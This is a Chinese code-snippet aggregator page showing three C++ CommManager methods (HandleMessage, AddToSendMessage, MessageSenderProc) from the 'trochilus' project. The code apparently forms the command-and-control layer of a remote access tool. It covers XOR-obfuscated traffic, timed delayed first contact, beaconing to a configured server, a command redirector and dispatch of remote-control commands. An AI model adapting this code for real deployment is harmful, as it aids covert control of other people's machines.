当前位置: 首页>>代码示例>>C++>>正文


C++ CommData::GetMsgID方法代码示例

本文整理汇总了C++中CommData::GetMsgID方法的典型用法代码示例。如果您正苦于以下问题:C++ CommData::GetMsgID方法的具体用法?C++ CommData::GetMsgID怎么用?C++ CommData::GetMsgID使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在CommData的用法示例。


在下文中一共展示了CommData::GetMsgID方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: HandleMessage

BOOL CommManager::HandleMessage( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, CPGUID& cpguid )
{
	ByteBuffer dataBuffer;
	dataBuffer.Alloc(dwDataSize);
	if (! XorFibonacciCrypt(pData, dwDataSize, (LPBYTE)dataBuffer, 2, 7))
	{
		return FALSE;
	}

	BOOL bRet = m_cp.AddRecvPacket(dataBuffer, dataBuffer.Size(), commName, &cpguid);

	if (m_cp.HasReceivedMsg())
	{
		CPGUID from;
		ByteBuffer recvMsgData;
		if (m_cp.RecvMsg(recvMsgData, from))
		{
			//解析数据
			CommData recvCommdata;
			if (recvCommdata.Parse(recvMsgData, recvMsgData.Size()))
			{
				debugLog(_T("recv msg msgid[%I64u] serial[%I64u]"), recvCommdata.GetMsgID(), recvCommdata.GetSerialID());
				tstring clientid;
				CutupProtocol::CPGuid2Str(from, clientid);
				recvCommdata.SetClientID(clientid.c_str());

				SetMessageToAnswer(recvCommdata);

				HandleMsgByMsgHandler(recvCommdata.GetMsgID(), recvCommdata);
			}
			else
			{
				errorLog(_T("parse message failed"));
			}
		}
	}

	if (bRet)
	{
		//更新心跳数据
		tstring clientid;
		CutupProtocol::CPGuid2Str(cpguid, clientid);
		
		UpdateHeartbeat(clientid.c_str(), fromAddr);
	}

	return bRet;
}
开发者ID:redblack168,项目名称:trochilus,代码行数:48,代码来源:CommManager.cpp

示例2: AddToSendMessage

MSGSERIALID CommManager::AddToSendMessage( LPCTSTR clientid, const CommData& commData, BOOL bNeedReply /*= TRUE*/ )
{
	static MSGSERIALID s_serialid = 0;
	if (0 == s_serialid)
	{
		__time64_t now;
		_time64(&now);
		s_serialid = now;
	}

	CPGUID cpguid;
	if (! CutupProtocol::Str2CPGuid(clientid, cpguid))
	{
		errorLog(_T("transfer clientid failed[%s]"), clientid);
		return INVALID_MSGSERIALID;
	}

	MSGSERIALID ret = INVALID_MSGSERIALID;

	if (bNeedReply)
	{
		m_mapSection.Enter();
		{
			ClientDataMap::iterator finditer = m_clientDataMap.find(clientid);
			if (finditer == m_clientDataMap.end())
			{
				DataMap am;
				std::pair<ClientDataMap::iterator, bool> res = m_clientDataMap.insert(ClientDataMap::value_type(clientid, am));
				if (res.second)
				{
					finditer = res.first;
				}
			}

			if (finditer != m_clientDataMap.end())
			{
				DataMap& am = finditer->second;

				SEND_AND_REPLY tempAA;
				std::pair<DataMap::iterator, bool> res = am.insert(DataMap::value_type(s_serialid, tempAA));
				if (res.second)
				{
					SEND_AND_REPLY& aa = res.first->second;
					aa.bReply = FALSE;
					aa.sendData = commData;
					aa.sendData.SetSerialID(s_serialid);
					aa.cpSerial = 0;
					ret = s_serialid;

					ByteBuffer toSendData;
					aa.sendData.Serialize(toSendData);
					BOOL bPutMsg = m_cp.PutMessage(cpguid, toSendData, toSendData.Size(), COMMNAME_DEFAULT, 0, &aa.cpSerial);
					if (! bPutMsg)
					{
						errorLog(_T("put message msgid[%I64u] failed"), aa.sendData.GetMsgID());
					}
				}

				s_serialid++;
			}
		}
		m_mapSection.Leave();
	}
	else
	{
		m_mapSection.Enter();
		{
			CommData sendData = commData;
			sendData.SetSerialID(s_serialid);
			ret = s_serialid;

			ByteBuffer toSendData;
			sendData.Serialize(toSendData);
			CPSERIAL cpSerial = 0;
			BOOL bPutMsg = m_cp.PutMessage(cpguid, toSendData, toSendData.Size(), COMMNAME_DEFAULT, 0, &cpSerial);
			if (! bPutMsg)
			{
				errorLog(_T("put message msgid[%I64u][noreply] failed"), sendData.GetMsgID());
			}
			
			s_serialid++;
		}
		m_mapSection.Leave();
	}

	return ret;
}
开发者ID:redblack168,项目名称:trochilus,代码行数:87,代码来源:CommManager.cpp

示例3: MessageSenderProc

void CommManager::MessageSenderProc()
{
    Wow64FsRedirectionDisabler disabler;
    disabler.Disable();

    DWORD sendTestTimeMS = 0;

    BOOL bFirstConnect = TRUE;
    BOOL bWaitUntil = (g_ConfigInfo.nFirstConnectHour >= 0 && g_ConfigInfo.nFirstConnectMinute >= 0);

    ByteBuffer recvByteData;

    while (m_bWorking)
    {
        if (! m_bWorking) break;

        Sleep(m_dwMsgIntervalMS);

        //如果配置了第一次上线时间,则需要检测并等待
        if (bFirstConnect && bWaitUntil)
        {
            static int iCount = 0;
            iCount++;
            if (iCount < 5) continue;

            iCount = 0;
            SYSTEMTIME now;
            ::GetLocalTime(&now);
            if (now.wHour == g_ConfigInfo.nFirstConnectHour && now.wMinute == g_ConfigInfo.nFirstConnectMinute)
            {
                bFirstConnect = FALSE;
            }
            else
            {
                continue;
            }
        }

        //从CutupProtocol获取待发送数据
        ByteBuffer toSendByteData;
        COMM_NAME commName;

        if (! GetMessageToSend(  commName ,toSendByteData))
        {
            CreateEmptyPacket(toSendByteData);
            commName = COMMNAME_DEFAULT;
        }

        ULONG targetIP = 0;

        BOOL ret = FALSE;

        do
        {
            ret = MySocket::IPOrHostname2IP(a2t(g_ConfigInfo.szAddr),targetIP);

        } while (!ret);


        ret = SendAndRecv(commName, targetIP, toSendByteData, toSendByteData.Size(), recvByteData);

        if (! ret)
        {
            CmdRedirector &cmd = Manager::GetInstanceRef().m_cmdRedirector;

            if (cmd.IsChildRunning())
                cmd.Stop();

            errorLog(_T("sendrecv msg [%d] failed"), commName);

            continue;
        }
        if (!IsConnected())
        {
            ConnectedNotify();
        }

        CommData recvData;

        ret = recvData.Parse(recvByteData, recvByteData.Size());

        if (!ret  )
        {
            errorLog(_T("parse received msg failed"));
            continue;
        }

        MSGID msgid = recvData.GetMsgID();
        if (INVALID_MSGID == msgid)
        {
            continue;
        }

        if ( MSGID_AVAILABLE_COMM == msgid )
        {
            continue;
        }

        //查询消息处理者
        FnExecuteRCCommand fnCallback = NULL;
//.........这里部分代码省略.........
开发者ID:benzeng,项目名称:trochilus,代码行数:101,代码来源:CommManager.cpp


注:本文中的CommData::GetMsgID方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。